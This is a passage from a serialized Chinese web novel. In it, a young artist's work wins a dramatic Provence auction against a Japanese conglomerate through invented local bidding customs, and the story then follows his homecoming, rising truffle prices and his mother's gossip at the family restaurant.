“王妃派管家给我送来的预算单上没有数字,只写着‘请为格蕾丝保留它’.抱歉了诺曼德,我必须帮助王妃拿到它。” 没有预算上限吗.诺曼德的眉头不自然的皱起。 事实上,诺曼德想靠资金拍下‘相思鸟’,所以才一直耐心的等着,因为他的那个‘后手’有可能会给自己引来麻烦,不到万不得已他真的不想用。 但没有预算上限的对手 抱着最后一丝侥幸心里的他又看向了迟迟没有表态的罗德里格。 罗德里格的手已经放在干薰衣草上了,这就是他的态度。 但再跳一次价格就要来到45万法郎以上,远远的超过了诺曼德向博物馆的申请。 不能再抱有侥幸心理了 这位年迈的馆长突然站了起来,对拍卖师西斯科亚微微前倾身体: “尊敬的拍卖师,我提前申请了‘表演权’,我要行使这项权利。” 现场顿时乱做一团,尤其是第三排的国际买家席。 日本西武集团的委托人大声发表着自己的抗议: “这又是什么规矩?这是拍卖会,为什么要表演??” 艺术家席。 罗南发表了同样的疑问。 表演权是什么东西? 艺术家席里还真有人知道这个问题。 趁着西武集团大声抗议之际,某位学识渊博的艺术家给大家小声科普了新的知识。 “曾有艺术家在阿维尼翁教皇宫殿拍卖会上高唱《马赛曲》,现场藏家集体起立跟唱,法国文化部代表都激动的举牌了,这个行为使得他估价只有25万的作品以92万法郎的价格成交;同年,一个女艺术家效仿了他的操作,不仅高唱《马赛曲》,还露出了里面的三色纹衣服,使得作品从12万溢价到了40万。 那之后文化部发出了新规,无论是艺术家还是买家在拍卖会过程中想要‘发言’需要提前进行‘表演报备’,并且那之后如果再有艺术家现场唱《马赛曲》,拍卖会会同步播放德彪西《月光》中和情绪,以避免‘非理性竞价’,不过我猜诺曼德先生只是有话要说,不是真的要表演什么。” 艺术家们似懂非懂的看向罗南。 明白了。 如果这个权利是罗南提前申请的,那么他有可能是要上去表演,但诺曼德馆长是藏家,所以只可能是发言了。 艺术家们不约而同的把目光移动到藏家席。 但他要说什么呢? 日本西武集团使出了这段时间使用过无数次的招式——抗议。 希望剥夺诺曼德先生的‘表演权’。 但拍卖师以‘已提前申请报备’为由驳回了他的申请。 诺曼德馆长再次鞠躬感谢了拍卖师,之后扭头看向身后的藏家席: “如果格拉内博物馆能够成功拍下3号艺术品,我们将永久免费展览‘相思鸟’.优秀的作品应该属于大众,属于所有热爱艺术的人民。” 诺曼德馆长的话像是一把重锤,砸到了每一个藏家的心里。 不过大家的第一反应居然是看向艺术家席的罗南。 罗南吓的立马坐直了身子。 诺曼德先生在发言啊.这些人看我干什么? 歌迪亚略显疯癫的声音出现在罗南耳畔: “被博物馆永久免费展出,意味着该作品成为了社会共享的文化遗产,同时代表该艺术家进入‘正统艺术史叙事’!” 与歌迪亚的疯癫截然相反。 罗德里格露出了紧张的神情。 作为资深的本土藏家,他在诺曼德馆长的话语里听出了另一层意味。 罗德里格不停拿起又放下薰衣草干花,似乎心里无比的矛盾。 不过有些人没有被诺曼德馆长的发言吓到,1号买家摩纳哥王妃代理人的牌子举了起来。 这位代理人笑着耸肩,似乎在说: 属于人民的想法很伟大,但王妃想要她,我也没办法啊。 诺曼德长长的呼出了一口气,似乎做下了某个决定,对着西斯科亚继续说道: “尊贵的拍卖师,我要行使‘国宝优先购买权’,法国文化部规定,符合以下任一条件的作品国家有权利行使优先购买权:第一重要的历史价值、第二艺术独创性、第三技术稀缺性,我认为‘相思鸟’符合其中的第二和第三点,可以被认定为‘国宝级’艺术品,作为普罗旺斯地区的公立博物馆,格拉内博物馆有权优先收购这个作品。” 全场一片哗然,连拍卖师都没有在第一时间给出反应,还在消化‘国宝优先购买权’是什么东西。 但对普罗旺斯拍卖规矩知之甚少的日本西武集团却喊出了本场拍卖会中最大的抗议声: “又是‘国宝优先购买权’!抗议,我方严重抗议!被认定为‘国宝’的艺术品需要有国家艺术委员的认定说明!” 诺曼德脸色阴沉的看向西武集团代表。 法国文化部推出的‘国宝优先购买权’政策在1985-1986年年间于巴黎的拍卖上出现了27次,成功行使的23次全部对抗的是日本财团。 在巴黎,西武百货已经被冠以‘文化小偷’的称号。 他们凭借雄厚的资本实力,拍下了巴黎80%的法国印象派作品,导致巴黎中产阶级藏家被挤出市场,艺术生态失衡。 随后,他们还要求巴黎艺术家在作品中加入富士山、樱花等日本元素,以‘适应亚洲市场’。 法国文化部不得已才为其推出了‘国宝优先购买权’的规定。 现在这个规定第一次出现在了普罗旺斯的土地上。 诺曼德当然知道西武集团会抗议,因为在巴黎的拍卖会上他们每一次都抗议: “法国文化部规定,由三位及其以上的国家艺术委员会成员认可,即可认定为‘国宝’级艺术品,‘相思鸟’满足这个条件。” 西武集团的委托人指着四周问: “哪三位?” 台下出现了一道声音: “我和阿尔代是国家艺术委员会的成员。” 大家循声望去,发现说话的人是高德曼教授,而他身边站着的是他的副手、同为皇家艺术学院教授的阿尔代。 阿尔代双手抱胸: “我和高德曼教授认可‘相思鸟’的‘国宝’属性,它符合独创性和技术稀缺性的标准。” 诺曼德先生对着拍卖师又鞠了一躬: “我也是国家艺术委员会的成员,三人同时认定‘相思鸟’的‘国宝’属性,‘国宝优先购买权’条款可以激活.我会在一周内向组委会提供书面证明。” 西武集团的委托人用煽动性极强的语气问25号罗德里格: “你认同他发起的规则吗?” 罗德里格放下了手里的干花,也站了起来: “在普罗旺斯,没有人可以更改拍卖会的规则,这是千百年流传下来的规矩,我尊重诺曼德馆长的优先购买权。” “我们都同意!!”许多本土买家也跟着应和道。 国家的利益大于一切,国家要把它留在普罗旺斯,我们支持! 西武百货的委托人又看向坐在最中间的1号买家: “你也认同?” 他们普罗旺斯人抱团,但你是摩纳哥王妃的代表啊。 1号委托人想了许久许久,终于放下了牌子: “摩纳哥王室非常关注普罗旺斯艺术市场,就是因为这里的艺术风气是全法乃至全欧洲最纯粹的,在巴黎和伦敦持续追逐毕加索和沃霍尔时,普罗旺斯始终在不停的推崇本地的无名匠人,就比如今天3号拍卖品的作者罗南先生,他默默无名仍可以享受‘国宝’级别的待遇,王妃认为这才是最吸引她的地方我相信三位专家不会在众目睽睽之下莫名搬出一个规则骗我们,所以我尊重规则。” 诺曼德馆长默默松了一口气。 搬出‘国宝优先购买权’是不得已而为之。 这本就是一个很‘灰色’的规定,是否能申请下来他也没有谱.连高德曼教授都不敢保证,只是说试试。 不过还好,大家没有揪着不放。 所有人都妥协了,唯独剩下一个西武百货不肯服输,一直施压拍卖师继续进行下一轮,不能用没有官方证明的规定做凭证。 西武百货在如今的艺术生态中太过特殊。 他们的抗议无法完全忽视。 拍卖师不得不暂停了拍卖,等待组委会的决断。 等待的时间成为了西武集团的个人秀,他们的团队不间断的指责普罗旺斯艺术界有失公允。 无数本土藏家气的攥起了拳头。 庄严的普罗旺斯拍卖会始终遵循‘沉默的橄榄枝’原则,这个外国买家不仅在拍卖会现场大喊大叫,还不止一次辱骂他们的规则和流程。 太可气了! 拍卖师西斯科亚瞬间就苍老了十几岁。 好几次委托人都是指着他骂的。 普罗旺斯艺术界早在几天前就升起了民族热情,现在更是直接烧起了。 罗南问了歌迪亚两次现在还能不能行使‘干预权’: “真的不能了吗?你确定不能了吗?普罗旺斯拍卖会上有这么多规矩,就没有什么能激活艺术家的‘干预权’吗?” 歌迪亚咬着手指说: “不知道啊,我真的不知道要不我去问问马雷查尔?” 拍卖会的暂停让西武集团的气焰更盛,他们似乎看到了抗议成功的可能性,于是‘抗议’的更大声了。 “你们普罗旺斯不是有自己的一套拍卖规则吗?现在为什么又用文化部的规矩?拍卖会必须继续进行,否则我们会投诉到法国文化部!” “如果你们启用‘国宝优先购买权’,说明之前的每一场拍卖都是一场骗局,尤其是那些行使了特权的买家!” “这是一场你们联合起来玩弄艺术爱好者的骗局!” 罗南气的站了起来: “我自己去找马雷查尔。” 他今天必须要把这帮人送出去! 普罗旺斯的拍卖规则里一定会有相应的办法。 但现场有同样想法的不止一个罗南。 有一个小家伙正在不停回忆爸爸给她讲过的话。 帕特里西亚不允许有人玷污普罗旺斯艺术界,也不允许有人破坏这里的规矩。 突然,她大喊一声: “够了!” 热闹的会场里出现了更多的惊呼声。 “是帕特里西亚小姐!” “是那个第一个举起薰衣草干花的藏家!” “是那个大喊‘Aquò es miéu!’的孩子!” 帕特里西亚对着拍卖师鞠了一躬: “西斯科亚爷爷,请您继续流程吧。” 诺曼德馆长着急的望过去,似乎在提醒她: 不行啊,我已经搬出了‘国宝优先购买权’,更不能让作品落到日本买家的手里了。 帕特里西亚给了诺曼德先生一个安慰的眼神。 随后她在众目睽睽之下,将桌子上的薰衣草干花拿了起来。 这次连拍卖师都吓到了。 孩子,你不要再掺合了啊,也不要再加价了! 但帕特里西亚手里的薰衣草干花并没有浮于头顶,而是落于了她的头发上——她将花插到了自己的头上。 女孩的声音虽然稚嫩,但讲的确是“古老”的话语: “几百年前,在普罗旺斯的拍卖会上将薰衣草花插于头顶,代表我要全场最后一个出价、这个作品必须要归属于我。这位日本买家,无论你把价格抬到多少,最后我都会高于你.你还要抗议吗?” 西武百货的委托人愣在当场。 还能这样? 这次拍卖师没有任何迟疑。 西斯科亚见证了只存在于‘传说’里的拍卖画面,他语气激动的说: “普罗旺斯拍卖允许竞争,但必须在日落前收场,本场拍卖的‘太阳’已经出现,8号买家拥有最后出价权!” 由于加价系数低,古代的普罗旺斯拍卖经常出现僵局,这个时候就出现了‘太阳’的规则。 但‘太阳’已经消失在普罗旺斯几百年了 拍卖师的话,证明这条规则在普罗旺斯被认可。 普罗旺斯人最终用它特有的规则打败了挑战它的玩家! 帕特里西亚用普罗旺斯方言铿锵有力的说: “我会把这件作品赠予格拉内博物馆,并支持它永久免费展出,大家都说在普罗旺斯艺术家和买家的利益大于一切,但我想说,在普罗旺斯艺术大于一切,百年传承大于一切!这是爸爸从小教育我的话,我相信,今天如果是他在场,他也会这样做的!普罗旺斯的威严不可撼动!!” 全场爆发出了山呼海啸的欢呼声,似乎要把戈尔德掀翻。 歌迪亚不停的摇晃罗南的胳膊: “‘相思鸟’进入格拉内博物馆代表它是‘国宝’级别的艺术品,同时意味着你也是国宝级别的艺术家了!罗南,你是国宝级艺术家了!!” 第337章 疯涨的松露价格 雷鸣般的掌声和欢呼声席卷了戈尔德市政厅。 整栋楼的工作人员都被惊动了。 这所历经百年、差点在二战中被损毁的古建筑又一次见证了法兰西的历史性时刻。 这一次法国人民捍卫了自己的文化主权! 甚至有现场观众被帕特里西亚小姐的‘宣言’所感染大唱《马赛曲》,让拍卖会再一次中断。 拍卖师西斯科亚没有制止现场的自发行为,以‘核价’为由留出了近3分钟的‘狂欢’时间。 台下。 早就把价格核实清楚的主办方工作人员感叹道: “果然是普罗旺斯最资深的拍卖师,该严厉的时候严厉,该纵容的时候纵容.节奏把控的真好啊。” 他旁边的工作人员笑着说: “也幸亏马雷查尔把西斯科亚老先生请来拍卖这一场,换个人早疯了。” 最后几轮加价堪比‘魔法对攻’. 而且全是他们不知道的‘魔法’。 “马雷查尔真是神人.押宝大成功,他背书的‘相思鸟’成了国宝级艺术品,还在拍卖会上鼓舞了普罗旺斯藏家的士气,他也会因为这件艺术品的成功而被普罗旺斯艺术界记住的。” “好了好了,快看台上吧,西斯科亚老先生举锤了。” 倒数第三轮,桑松女士‘跳价’后价格来到376402,之后诺曼德馆长举牌行使‘优先购买权’,使价格来到377402。 中间虽一度暂停拍卖,但帕特里西亚行使‘太阳’权后无人再加价,所以‘相思鸟’的最终成交价是377402再加1000。 苍老的声音使得全场安静下来: “让我们恭喜8号买家以378402的价格成功拍得3号作品,下面有请03号作品的艺术家罗南先生发表感言!” 无数双羡慕的目光投向罗南。 拍卖会上从来不缺传奇故事。 但这些故事只会在艺术界小范围传播,并且很快就会被人忘记. 世界上流传千古的艺术家不计其数,但有哪位藏家被后人记住? 又有什么拍卖会上的故事在几百年后渊源流传吗? 即使像帕特里西亚这样艺术世家出生的孩子,也只能以‘故事’的形式接触那些几百年前‘惊心动魄’的场面。 但艺术家和作品会永永远远的流传下去! 今天这场堪称普罗旺斯传奇的拍卖会,最大的获益方一定是‘相思鸟’以及它的艺术家罗南! 毫不夸张的说,艺术家们已经羡慕疯了。 情绪烘托到民族热情的高度,还有这么多本土和国际藏家在场.这名叫罗南的新人艺术家无论说什么,都会永久的‘载入史册’。 在如此重要的时刻,罗南要说什么? 罗南先是深深的对着帕特里西亚鞠了一躬: “首先要感谢帕特里西亚小姐,感谢您对‘相思鸟’艺术价值的肯定,这是对无数像我一样用‘新型’艺术形式表达观点艺术家的鼓励和支持衷心的感谢您。” 帕特里西亚优雅的前倾了一下上半身,以示回礼。 罗南又对着诺曼德馆长鞠了一躬: “其次要感谢诺曼德馆长,感谢您决定将‘相思鸟’永久免费展出,让这个作品更加接近艺术的本质并赋予了它‘永久’的生命。” 诺曼德用欣慰的目光回看罗南,似乎在说: 因为‘相思鸟’值得啊。 在全场的注视下,罗南对着藏家席鞠了第三躬: “最后,我还要感谢今天所有举过牌的买家,你们的每一次加价不仅是数字的跃升,也是对普罗旺斯艺术的肯定,同时是对这片传承了百年文化土地的尊重。” 起身之后,罗南声音洪亮的说: “我提议,大家为帕特里西亚小姐鼓掌、为诺曼德先生鼓掌,为所有举过牌的买家鼓掌,是他们造就了如此精彩的一次拍卖,这一刻是属于他们的,而不是某一个人!” 在罗南的带领下,掌声经久不息。 无论是最终的赢家帕特里西亚和诺曼德,还是在竞争中失败的罗德里格、桑松又或者伊内斯都露出了含有不同意义的笑容。 不管结局怎样,这次的拍卖会他们都收获到东西了。 后台的西蒙斯惊讶极了,因为马雷查尔给他分析过罗南这位艺术家。 马雷查尔说,罗南在一定程度上也是一个合格的‘幕后推手’,而且格外擅长‘一箭双雕’——罗南用‘希望’宣传编织,又用‘相思鸟’宣传他的女朋友佐伊。 西蒙斯深信,罗南和马雷查尔一样,也是一个为达成目的不择手段的人。 但罗南居然没有利用这个无比珍贵的机会宣传自己而是全程认真的感谢。 这合理吗? 他想和身边的马雷查尔讨论,但一扭头发现马雷查尔居然在跟着一起鼓掌。 “罗南并没有利用这个机会做什么。”西蒙斯不解的说。 马雷查尔的目光并没有从前台移开,只是笑着回: “这不是更好吗?” “更好?”西蒙斯瞪大眼睛,不过他更好奇的是马雷查尔为什么也要跟着一起鼓掌,“你也在感谢买家们?” 买家席有那个令人讨厌的日本西武集团! 这个财团最近快把他们搞疯了! 马雷查尔语气舒缓的说: “我的掌声是送给罗南的。” 罗南在感言环节没有说一件无关的事情,一直是感谢、感谢、再感谢。 但这不代表他没有其他想说的。 坐下之,他立即压低声音对歌迪亚说: “如果我以后还有机会上拍卖会,不想再见到那个日本财团了。” 歌迪亚没有什么情绪起伏的说: “以你现在的人气和身份,别说是行使‘干预权’把他们踢出拍卖会,就是联合普罗旺斯艺术家一起抵制日本财团也不是没有可能。” 罗南说出刚刚那句话只是因为憋了一肚子的怒气,但歌迪亚提醒了他更为重要的东西——今日过后,他在普罗旺斯艺术家中的地位已‘不同凡响’。 不管是卖还是推广粉红酒.是不是更加容易了? 艺术家要等全部作品拍卖结束才能离开晨拍现场。 罗南和歌迪亚想要第一时间去和佐伊、巴蒂分享今天发生的事情,结束后第一时间起身离开。 不过刚一站起来就被人堵住了,而且堵他的人不止一个。 其实罗南事先做好了被‘留下’的准备,毕竟今天过后他就是和‘国宝’挂钩的艺术家了肯定有人想要过来和他‘认识认识’。 于是提前和歌迪亚商量好了脱身对策——歌迪亚负责拦截,他只管跑,之后去佐伊那里汇合。 但谁也没想到,拦他的人让罗南根本‘不敢’跑。 摩纳哥王妃的委托人和罗南互换了联系方式,说希望罗南能再做一个和‘相思鸟’类似的主题,否则他无法向王妃交代。 这种还是比较好处理的,留联系方式就放人。 但桑松女士问罗南今天中午有没有安排,想要和他好好聊一聊普罗旺斯的艺术未来。 不等罗南给桑松女士回复,罗德里格强势插了进来,说罗南今天是他的,如果想要和罗南吃饭改日再说。 刚刚的‘跳价’大战这两个人就没有分出胜负,罗南现在的态度可能代表着下一轮争斗的开始,这搞得罗南大气都不敢喘一声。 正在罗南‘焦头烂额’之际,会长伊内斯双手插兜出现在罗南的身后,这位女士的脸上终于出现笑容了。 虽然没有拍下米切兰杂志社想要的‘相思鸟’,但她为罗南的成长而开心。 这个孩子是在她的关注中一点点成长起来的.她感觉到了无比的欣慰和感动。 而且沃克吕兹省粉红酒爱好者协会在普罗旺斯的影响力再次提升了。 罗南和伊内斯是真正的老朋友,而且是喝过不知道多少次酒的老朋友,互相给一个眼神就大概能猜到对方的意图。 伊内斯微不可查对罗南挑了一下眉毛,像是在问: 需要帮助吗? 罗南立即露出公式化的笑容,暗示会长: 需要需要,快把我救出去!! 伊内斯再次回归那个冷峻的‘时尚女魔头’,语气冰冷的说: “走吧罗南,我已经订好位置了。” 罗南回头歉意的对罗德里格和桑松女士说: “实在抱歉,今天中午我已经约了人,我们改天再约吧?” 伊内斯在普罗旺斯也是名人,而且是很活跃的名人,她经常出现在戛纳和各种红毯活动上。 面子还是要给的。 就这样,罗德里格和桑松女士‘依依不舍’的目送伊内斯把罗南带走了。 几米外的地方,加布里埃尔沮丧的像是一个无家可归的孩子。 “明明场地里有3个协会里的人,但会长却只约了罗南一个.” 不过糖果大王很快重整了心情。 罗南现在在协会里的分量更重了。 只要能继续拉近和罗南的关系,他一定可以进入协会的‘核心层’! 伊内斯中午有其他安排,把罗南安全的带出来后就离开了。 不过她还要在戈尔德待几天,约了罗南几天后的时间一起吃饭。 临走前,她像是欣慰的老母亲一样拍了拍罗南的胳膊: “几天后见,我有重要的事找你。” 罗南肯定不会拒绝伊内斯的邀请,订好见面时间后前往和佐伊见面的约定地点,没想到刚走出去两步,又被人拦下了。 “嗨罗南,我们真是好久没见了。”奥利维尔自来熟的搂住罗南的肩膀,“每次见你,你都能给我带来巨大的惊喜!” 第一见罗南,骄傲的卢卡斯把罗南安排在自己身边,当作了最重要的客人接待。 第二次见,罗南在集市上拍卖巨形松露,连米其林餐厅的老板雅克先生都惊动了。 第三次见,阿图尔带着罗南加入了他们的‘美食’圈子,并暗示大家罗南是一个非常重要的人物。 第四次见我的上帝。 那个卢尔马兰的穷小子居然成国宝级别的艺术家了?! 这谁敢信啊! 奥利维尔阻挡住了罗南逃跑的路线,罗南逼不得已只能和他聊上两句: “是啊,好久没见,最近还好吗?” “还好还好,不过我再好也没有你好啊。”奥利维埃恭维的说,“你在艺术界一战成名,松露的价格最近也连创新高你真是多点开花啊。” “松露价格涨了?”罗南惊喜的问。 2月后,他把全部精力都放到了戈尔德的艺术活动上,既没进山也没再了解过松露的价格。 奥利维尔笑着耸肩: “当然,像是‘跳价’一样疯狂的涨势。” 突然,他沉默了下去,皱眉小声念叨: “卢卡斯这个幸运的家伙,不会真的让他熬到‘出头’的日子了吧?也不知道他那片林子的春天菌丝采样会是什么情况.” 奥利维尔去年和卢卡斯忙了整整一个冬天和春天,对人工培育松露的准备工作和时间节点记的非常清楚。 罗南疑惑的问: “春天菌丝采样?” 奥利维尔点头: “对,估计最迟下个月初就能知道那片林子能不能实验成功了。” 第338章 脱下名贵西装,换上格子衬衣 在拍卖会现场,罗南感受到了‘明星’一样的待遇。 好不容易和歌迪亚‘逃’到某个餐厅和佐伊、巴蒂汇合,想要吃吃饭,喝喝酒,再舒舒服服的讲讲上午拍卖会上那些让人头皮发麻的加价大战。 但还没讲到‘跳价’对攻环节,就有三个人过来打断了他们而且全部是来找罗南的。 “藏家都追到这里了?”趁着罗南和他的‘粉丝’热聊之际,巴蒂压低声音对歌迪亚抱怨。 歌迪亚清了一下嗓子,提醒巴蒂注意自己的言行,不要背后议论人,随后她兴奋的甩了两下脑袋: “这太正常不过,你们不知道上午发生了什么!” 佐伊的胃口早就被吊了起来,但故事一次次被人打断她着急的拉了一下歌迪亚的袖子: “快继续,加布里埃尔一人抵抗好几个国外买家,然后呢?” “然后——” 歌迪亚的声音被另一个声音盖了下去。 那位正和罗南热聊的藏家,突然指着佐伊大声问罗南: “这位一定就是‘相思鸟’的原型,佐伊小姐吧?” 罗南笑着点头: “是的。” 这位藏家热情的和佐伊打起了招呼: “你好佐伊小姐,早就听闻你的大名,但我来戈尔德比较晚,始终没有机会见到您,今天有幸见到您和罗南两位艺术家,我太开心了!” 佐伊按耐住了听故事的心情,礼貌的把头侧了过去: “感谢你的喜爱。” 之后,她加入到了罗南和这位买家的对话中,聊起了后几天拍卖会的话题。 巴蒂对听故事没有多大兴趣,只是有些不习惯的说: “以前我们只有一个‘明星’佐伊,现在又多了一个罗南,是不是以后和他们出来,就没有私人空间了?” 事实上,佐伊已经在戈尔德当了好几天明星。 2月份的戈尔德,没有什么游客来玩,居民也没有兴趣去看什么艺术展览,此时走在戈尔德路上的十个人里面有八个都是来看展的游客,剩下的两个是像卡福和他伙计那样的销售。 总之,都是和艺术有关联的人。 这些人可能没有去看过佐伊的作品,也没有去参加过她的拍卖会,但一定听过佐伊的名字和藏家为了争夺她的作品在拍卖会上行使‘跳价’权的消息。 佐伊偶尔在路上被一两个人认出,马上就会有一大批人围过去,像看动物园里的动物一样,指指点点起来。 “这就是佐伊?” “上帝,好漂亮呢,真是才貌双全!” “佐伊佐伊,我们都喜欢你!” 正是因为如此,佐伊今天上午都没有去送罗南。 现在好了 动物园里的动物又多了一个,而且是受欢迎的。 现在想安安生生的吃顿饭都难喽。 歌迪亚白了巴蒂一眼: “只是这一段时间会这样而已,现在戈尔德都是艺术爱好者,不过这是别人求都求不来的东西,你居然不满意?” 巴蒂撇嘴: “我只想好好搞艺术。” 突然,那位买家又把目光对准了巴蒂: “我想起来了,圈子里传,这次卢尔马兰有三位优秀的艺术家在戈尔德大放异彩,除了罗南和佐伊,最后一位是精通编织的艺术家.想必您就是巴蒂先生吧?” 巴蒂立即换了一副面孔,主动伸出右手: “你好,是我。” 那位买家兴奋的拍了下手: “我去看了您的作品,简直惊为天人啊,藤蔓居然能做成那种东西!” 巴蒂的脸变得像盛开的花儿一样: “编织是一门非常有意思的手艺,其实——” 见手下的三员大将都加入到了和‘粉丝’的互动中,歌迪亚开心的喝起了酒: “这一次戈尔德之行圆满成功!我们要在戈尔德掀起一股名叫卢尔马兰狂潮的目的终于达成了!!” 罗南和佐伊在戈尔德的人气太高了,尤其在罗南的‘相思鸟’被拍出后,这对小情侣现在是互相成就的关系,一方引发了关注,另一方也会受益。 在这个人气高点时刻,他们如果还频繁的出现在展馆里会引起不必要的麻烦.而且罗南的作品已被成功的拍出,佐伊虽还有一个作品没上拍,但全戈尔德都知道那个作品的主人已经定了。 两度使用买家特权成功狙击日本财团的帕特里西亚小姐不止一次在公开场合表达过——我这次来戈尔德就是为了佐伊。 综合了以上的几个原因,虽然系列艺术展还有几天才正式闭幕,但当天下午,罗南和佐伊决定自那之后不再每天往返戈尔德。 由人气稍差一些、能有一些‘私人空间’的巴蒂留在戈尔德继续帮助卡福推广编织品,并宣传卢尔马兰的艺术气氛。 不过在活动闭幕之前,罗南和佐伊也还会再来几次戈尔德。 罗南要来和会长伊内斯吃饭。 罗南和佐伊还要一起和帕特里西亚小姐见一次面郑重的感谢这个‘大恩人’。 下午回卢尔马兰的路上,佐伊终于下定了决心: “我要接下帕特里西亚小姐的订单。” 帕特里西亚小姐不仅要把佐伊的作品全部收入囊中,还在最关键的时刻挺身而出帮助了罗南,成就了他‘国家’级艺术品的壮举这个恩情佐伊必须要还上。 罗南腾出一只手和佐伊的手十指紧握: “你不用担心装修的事情,我一个人可以。” 一旦佐伊接下那个订单,就要面对无尽的折磨和苦难,罗南不忍心佐伊再操心装修的事情。 但婚房装修怎么能缺少的了女主人呢? “不,我必须和你一起。”佐伊看着前方说,“我打算用最快的速度把这个订单完成,最好是赶在我们装修之前做完,把痛苦压缩到最短的时间里。” 工匠们说,最迟3月中旬一定可以把后院的工作室建完,那么佐伊有一个月左右的时间,似乎不是不可以? “行,我们先接下来,实在不行我和你一起做。”罗南表达了他的态度。 佐伊想到什么,突然期待的看向罗南: “你说有没有可能,我们未来会一起合作一个作品?甜品和玻璃或者陶瓷的结合?” 这次在戈尔德的所见所闻打开了佐伊的眼界。 艺术本就是没有边界、无法定义,也充满未知的。 甜品说不定真的能和玻璃、陶瓷擦出火花呢。 罗南微笑着看过去: “我不确定甜品是不是能和玻璃、陶瓷结合,但我发誓我们一定有机会一起创作作品。” 如果是其他人,说这句话可能是为了哄女朋友开心或者是表达美好的愿景。 但罗南的系统让他有无数能和佐伊合作的可能性。 这次参加戈尔德的活动,也让罗南的眼界打开了。 艺术家的身份和粉红酒密不可分,未来他必然会坚定不移的投入到粉红酒的事业当中去。 但除此之外,还可以尝试编织家具和其他与‘高端’挂钩的工艺。 要找些时间好好研究一下编织家具和系统里的其他技能了罗南找到了新的方向。 不过这几件事要等松露采摘季结束后才能真正的实施。 奥利维尔说,松露的价格像‘跳价’一样疯涨了起来。 现在涨到多少了呢? 罗南和佐伊前一段时间每天都要去戈尔德,已经好久没有和家人、朋友好好吃饭了。 今天他们提早回了卢尔马兰,两个人又接连取得了不小的成绩,值得好好庆祝一次。 一到餐厅,罗南就给路易、弗雷迪、阿兰和老卡尔几个人打去电话,通知他们晚上来餐厅聚一聚。 弗雷迪在电话里‘阴阳怪气’的问: “你还记得我们啊?我以为你在戈尔德不回来了。” 罗南说了许多好话,弗雷迪才‘不情不愿’的答应下来。 不过这个家伙只矜持了不到半个小时,就带着一只小羊羔出现在餐厅里,并开心的对罗南说: “现在小羊羔可不好找了,老罗说你们最近特别累,每天要坐好几个小时的车,拿来给你和佐伊补补身体。” 看着一切如常的弗雷迪,罗南终于有一种‘回家’的幸福感。 在卢尔马兰,罗南永远是罗南,没人会拿他当大艺术家,即使罗南变得更加富也不会改变这个事实。 罗南脱掉了今天精心准备的名贵西装和皮鞋,换上了他的破牛仔裤和格子衬衣: “我今天必须得亲自做两道菜,锅包肉怎么样?弗雷迪,你想吃吗?” 弗雷迪举起了羊蹄: “想吃想吃!记得做两份,做一份不够我吃的!!” 老卡尔今天有事情要忙,晚上六点多才能来。 虽然朋友们都到了,但大家还是决定等一等他再开饭。 其他人就算了但老卡尔的辈分摆在那里呢。 等待那段时间里,罗南没有事情干,去收银台帮母亲算账,想到什么,他问母亲: “最近卢卡斯每天几点来?” 罗南和卢卡斯对外还是合作的关系,所以每天卢卡斯会把松露送来,定期让康奈尔去送货。 冯珍叹气道: “忙完艺术展,你必须得好好感谢卢卡斯,为了补上你那一份,卢卡斯每天回来的可晚了。” 罗南是既开心又担心。 开心的是,有了他这个掩护,大家应该没有看出来卢卡斯的异样,觉得他的努力是为了补罗南的这份松露。 担心的是他这么拼,看起来经济压力依然没有缓解啊。 罗南像模像样的点头: “知道了,不过最近松露价格涨了,我明天就进山,缓解他的压力。” “是,现在松露都涨到4500法郎一公斤了,听说还要继续涨呢。”冯珍一边在本子上写写画画,一边随意的说。 罗南好奇的看过去: “你也知道松露涨钱了?” 母亲只管餐厅的钱,松露生意她从没过过手,也不知道行情。 “嘿——”冯珍对罗南的态度非常不满意,不由得提高了一些音量以示抗议,“我不仅知道松露涨钱了.还知道为什么涨钱了,没人比我更清楚这件事背后的前因后果!” 第339章 精彩纷呈的餐厅大堂 罗南被母亲的反应逗笑了,放下了手里的笔,认真的问: “你怎么知道的?快给我讲讲。” 冯珍像宝贝一样拍了几下她的收银台,得意的说: “我说过吧,这位置老棒了.你别看我每天足不出户,但往这一坐,什么事我都知道!” 罗南一怔: “偷听来的?” 他又回忆起了那个五个人同时自首说自己杀了人的悬案。 居然不只能听到八卦,还能听到有用的东西? 冯珍不乐意的咂巴了一下嘴,又狠狠的白了罗南一眼: “你说话怎么那么难听呢.我那叫观察!他们自己说话不注意还怪我听了?” 罗南赶紧摆正态度,肯定的说: “对对对,观察,快给我讲讲,你怎么‘观察’出来松露涨价的?” “有一天,我看到那边有两个顾客并排坐着喝酒,而且头和头紧紧的挨在一起。”冯珍眯着眼睛指了一个方向,似乎是在回忆那天的情形,“我就好奇啊我心想桌子那么大,地方那么宽,为什么要挤到一起呢,屋里也不凉啊,我就想看看怎么个事儿。” 她突然用力怼了一下罗南的胳膊,表情‘惊恐’的问: “你猜我这么仔细一看,发现了什么?” 罗南真的很认真的思考起了答案,但冯珍根本就不给罗南说话的机会,似乎刚刚那个提问只是走个过场。 她压低声音,眉毛都飞了起来: “我看到其中一个人手里拿着一把刀!” 罗南忽地瞪大眼睛,未破的悬案又涌上了心头。 冯珍指着罗南的脸,笑着说: “对对对,当时我和你一样的表情,我心想吃饭怎么还带刀呢?而且还总是谨慎的左右观察,不会是来惹事的吧?” 罗南的情绪已经被带入了情景中,紧张的问: “然后呢?报警了吗?” “报警也得有证据不是?之后我就更加留意那桌,然后我发现.另一个人手里拿着一把小的折叠称,他们俩挨得太近了我一直没看见。”冯珍用手背在手心拍了一下,平摊双手,“现在明白了吧?” 罗南皱着眉毛问: “明白什么了?” 冯珍戳了两下罗南的胸口: “这还不明白?这两人在那交易松露呐!” “交易松露不用刀。”罗南否认。 冯珍又砸了一下嘴,不高兴的说: “你着什么急啊,我还没讲完呢!” 罗南就差举手投降了: “好好好,你继续讲,我不打扰你了,你讲完了我再说话。” 冯珍喝了一口水,开始了她的讲述: “一开始我和你一样,看到称也没反应过来他们是干什么的,之后我又看到好几次拿着刀的那个人用圆珠笔在手上写了点什么,伸过去给另一个人看,只要另一个人看到,他就马上用口水把手上的字擦掉,我更害怕了,心想这两人不会在餐厅里做什么不能见光的买卖吧?索性我就坐他们后面去了——” “这不还是偷听来的吗?”罗南忍不住插嘴道。 冯珍用威胁的语气问: “你还听不听了?” “听听听!”罗南陪着笑脸说。 冯珍翘起了二郎腿: 